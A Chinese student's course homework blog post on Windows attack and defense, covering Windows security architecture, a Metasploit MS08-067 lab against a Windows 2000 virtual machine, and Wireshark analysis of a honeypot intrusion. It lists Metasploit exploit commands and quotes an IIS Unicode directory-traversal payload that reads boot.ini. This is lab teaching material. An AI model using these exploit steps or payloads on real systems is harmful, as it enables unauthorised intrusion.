20199309 2019-2020-2 《網絡攻防實踐》第七週做業

這個做業屬於哪一個課程 https://edu.cnblogs.com/campus/besti/19attackdefense
這個做業的要求在哪裏 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
我在這個課程的目標是
這個做業在哪一個具體方面幫助我實現目標 熟悉瞭解Windows系統攻擊技術
做業正文 1.知識點梳理、2.實驗內容、3.學習感悟、思考等
其餘參考文獻 見正文最後部分

1.知識點梳理與總結

1.1 Windows操做系統的基本結構
Windows操做系統內核的基本模塊包括以下:html

  • Windows執行體:即Windows內核核心文件ntoskml.exe的上層接口,包含基本依操做系統內核服務,如進程與線程管理、內存管理、I/O管理、網絡鏈接、進程間通訊,以及安全服務。
  • Windows內核體:即Windows內核核心文件ntoskml.exe中函數實現與硬件體系結構支持代碼,實現底層的操做系統功能,如線程調度、中斷和異常分發處理、多處理器同步機制等,同時也提供了一組內核例程與基本對象,以幫助執行體來實現高層次的功能服務。
  • 設備驅動程序:包括將用戶I/O操做映射爲特定硬件設備I/O請求的硬件設備駆動程序,以及文件系統與網絡設備驅動程序。該部分支持經過數字簽名認證的第三方硬件廠商的硬件設備驅動程序加載進入內核執行。
  • 硬件抽象層:即hal.dll文件,是用於屏蔽Windows內核與平臺硬件差別性的底層代碼。
  • Windows窗口與圖形界面接口內核實現代碼:即win32k.sys文件。

Windows操做系統在用戶態的代碼模塊則包括以下:windows

  • 系統支持進程:Windows開機自動啓動的系統內建服務進程,如負責登陸用戶身份認證的logon進程、會話管理進程等。
  • 環境子系統服務進程:爲操做系統運行環境提供支持的服務進程,Windows
    XP只支持Windows環境子系統,而符合POSIX標準的環境子系統則做爲UNIX產品的免費服務所提供。
  • 服務進程:經過Windows的服務管理機制所啓動的一系列系統及網絡服務,如Task
    Scheduler任務管理器服務,Microsoft SQL Server網絡服務等。
  • 用戶應用款件:在用戶態執行的各種用戶應用軟件。
    -核心子系統 DLL:即
    kemel32.dll/user32.dlVgdi32.dll/advapi32.dll等動態鏈接庫文件,做爲用戶態服務進程與應用軟件和操做系統內核的交互接口,將用戶態程序調用的系統API函數映射到相應的一個或多個Windows內部的系統服務調用。

1.2 Windows安全體系結構api

  • Winlogon進程與LSASS中的Netlogon分別負責Windows本地和遠程登陸用戶的身份認證,利用LSASS所提供的身份驗證服務,來肯定安全主體身份的真實性。
  • 內核中的安全引用監控器做爲Windows資源寶庫的看門人,根據LSASS服務配置的安全訪問控制策略,負責對全部安全主體訪問Windows資源對象的受權坊問控制。
  • 安全引用監控器根據LSASS服務配置的安全審計策略,對訪問過程當中關注的事件進行記錄,並由EventLog生成系統審計日誌。

1.3 Windows 遠程安全攻防技術
目前Windows遠程攻擊技術能夠分爲如下幾大類:安全

  • 遠程口令猜想與破解攻擊:遠程滲透攻擊Windows系統最簡單的方法仍然是猜想或破解出系統的登陸口令,從Windows操做系統誕生以來一直存在的口令暴力破解、基於字典的猜想以及中間人身份認證欺騙攻擊技術,仍對如今的Windows網絡構成現實的威脅。
  • 攻擊Windows網絡服務&不管Windows自身獨有的SMB、MSRPC、NETBIOS等網絡服務,仍是IIS、MS
    SQL等各類互聯網服務在Windows系統上的具體服務實例,都不可避免地存在着可致使遠程代碼執行的高危性安全漏洞,攻擊者也一直在利用這些漏洞來對Windows網絡服務實施遠程滲透攻擊,從而獲得Windows系統的訪問權。
  • 攻擊Windows客戶牆及用戶:最近幾年來在微軟公司Windows
    XP/Vista/Windows 7等操做系統的開發過程當中,都應用了
    SDL安全軟件開發生命週期,從而有效地提高了Windows系統及自己服務的安全性,同時引入了
    DEP數據執行保護、ASLR地址空間佈局隨機化機制、UAC用戶帳戶控制等安全特性,這都使得攻擊者愈來愈難以利用傳統的攻擊渠道來遠程攻陷Windows系統。

1.4 windows本地安全攻防服務器

windows本地提權網絡

  • 在攻擊者得到了widows的必定的權限以後,他們會嘗試得到最高的權限。本地提權攻擊都是利用系統的各類漏洞,因此針對本地提權攻擊,最好的辦法就是即便打好各類補

Windows敏感信息竊取tcp

  • Windows系統口令字密文提取:在攻入windows以後,攻擊者就有可能得到關鍵信息的密文文件。
  • windows系統口令字破解:在得到密文文件以後,天然就是要對密文進行解密。

windows消滅蹤影函數

  • 在攻擊者獲取了權限,或者得到了想要的信息以後,他們會想辦法擦乾淨腳印,讓用戶不知道本身已經被攻破。
  • 關閉審計功能:Windows resource
    kit工具包裏的auditpol程序可讓攻擊者關閉審計功能。在攻擊完成以後,又會從新打開審計功能。
  • 清理日誌:若是攻擊過程已經被日誌記錄下來,那麼攻擊者就會對日誌裏的有關本身入侵的信息清理掉。
  • 防範措施:將日誌記錄到不可擦寫的CDROM中,或者經過網絡傳輸出去。

windows遠程控制與後門程序工具

  • 在攻擊者完成了攻擊以後,他們爲了方便下一次的攻擊,會在系統中植入遠程控制和後門程序。
  • 防範措施:用一些檢測軟件來發現後門程序。

2 實踐過程

前置準備佈局

本次實驗用到了下面的虛擬機

第一個和第三個實踐要確保kali和win2k能夠正常互相ping通,網絡模式都調爲NAT,win2k以前手動設置的ip地址記得調成自動,dns也設置爲自動。第二個實踐要用老師上傳到雲班課的demo_NT_attack_data.zip做爲分析文件。

實踐一


1: 在kali打開metasploit,輸入msfconsole,回車後就會進入到他的控制檯界面,而後先搜索一下ms08_067漏洞,搜索結果以下圖。這是針對這個漏洞的滲透攻擊模塊。

search ms08_067    //search+漏洞名字
use exploit/windows/smb/ms08_067_netapi

2: 選擇攻擊負載模塊,能夠經過輸入show payloads,而後找到你要用的攻擊負載模塊,我選了3,反轉tcp,注意,這一步必定要先show完payload,出現列表後在輸入下面的命令,或者直接輸入那個路徑也行。我以爲數字比較方便

set PAYLOAD 3


3: 而後show options,查看須要配置的參數,主要是配置ip地址。按照靶機RHOST,攻擊機LHOST的原則配置就行,代碼格式以下:

set RHOST IP
set LHOST IP



4: 設置目標操做系統平臺類型,這個選擇0就行,0表明自動識別

set TARGET 0

5: 輸入exploit開始攻擊。攻擊結果以下圖

6: 攻擊成功後,敲下回車,發現進入了靶機的cmd頁面上,那咱們就輸入如下ipconfig查看一下靶機ip,這樣就驗證了咱們的攻擊是成功的。

實踐二

1: 首先用wireshark打開那個.log文件。就會看到一大堆報文。大體掃一下,發現有不少http報文。這時候,不要方,先使用wireshark自帶的統計工具,看看這麼多的報文能濃縮成一些什麼東西。點擊統計->http->請求。就會獲得下圖。咱們知道,訪問網頁的時候,會從網頁服務器下載不少文件到本地,從這個統計圖能夠看到。那個突出的一部分應該就是此次的攻擊代碼了。不過他這個統計圖的缺點是不按時間順序。而其餘的都是一些gif圖片。

2: 接下來就須要一步一步分析了。設置限定條件爲:ip.addr==172.16.1.106 and http。而後就開始看。前邊的都大同小異。沒有特別突出的。到了編號爲117的這一行,以下圖。咱們發現了以下一段。

/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini

這個boot.ini像是一個配置文件。查閱有關資料,咱們得知這是NT系統的啓動文件。而前面的..%c0af..啥的像是個路徑。查閱資料後得知,這是"/"的Unicode編碼。這是個IIS4和5存在的一個漏洞把。

3: 再往下看,咱們能夠看到攻擊者試圖向服務器獲取一個msadcs.dll文件。肯定他存在後,就開始幹壞事了。

4: 攻擊者利用這個dll存在RDS漏洞,輸入了個數據查詢語句進行SQL注入攻擊。根據ADM!ROX..以及那個mdb。咱們能夠經過谷歌查詢到它是經過rain
forest puppy編寫的msadc(2).pl滲透攻擊代碼發起的。

5: 而後攻擊者就成功進入了系統。往下拉,能夠看到到下圖所示位置,發生了變化。攻擊者創建了一個ftp鏈接。輸入了用戶名密碼,成沒成功我暫時還看不出。而後就是下載了幾個文件。


6: 而後攻擊者鏈接6969端口,得到了訪問權限

7: 從1369編號開始,攻擊機發起了屢次SQL注入攻擊,咱們發現數據部分不太同樣。什麼pdump.exe
yay.txt。這些文件暫時看不懂。

8: 而後在編號2339追蹤http流,咱們能夠看到,根據add,他應該是想提高權限。

9: 攻擊者應該警覺到了這是個蜜罐。還寫了一串英文表示他看透了這是個蜜罐,不過我還沒找到這條命令。先這樣吧。

防止這種攻擊應該及時打補丁。保持系統更新吧。

實踐三

1: 攻擊步驟跟實踐1是同樣的,攻擊的漏洞依然是ms08_067漏洞,這裏不在贅述了。咱們要作的就是在攻擊機輸入exploit以後,敲回車以前,wireshark實時監聽通過網卡的數據包。因爲靶機沒有wireshark,因此我選擇用kali上的wireshark監聽。效果同樣的。
從下圖能夠看出攻擊者ip地址,端口,靶機ip地址,端口,時間等信息。

2: 上圖中前三個包是tcp三次握手包,創建鏈接後,從下圖中咱們發現攻擊機向靶機發了許多SMB協議包。而MS08-067漏洞是經過MSRPC
over
SMB通道調用Server服務程序中的NetPathCanonicalize函數時觸發的。因此據此能夠推斷出,是利用這個漏洞攻擊的


3: 而後這時候咱們在攻擊機輸入個ipconfig命令

4: 打開wireshark,查看剛剛捕獲到的包,咱們能夠從發的包的數據部分獲得咱們剛剛輸入的指令,以下圖。


至此,這個實驗就結束了。

3.學習中遇到的問題及解決

  • 問題1:使用wireshark抓包時,選擇網卡爲any,抓不到數據包
  • 問題1解決方案:選擇網卡爲eth0,就能抓到了

4.實踐總結

Windows雖然已經發展了不少年,可是攻防並無結束,黑客和駭客之間的鬥爭不會停息。

參考資料

相關文章
相關標籤/搜索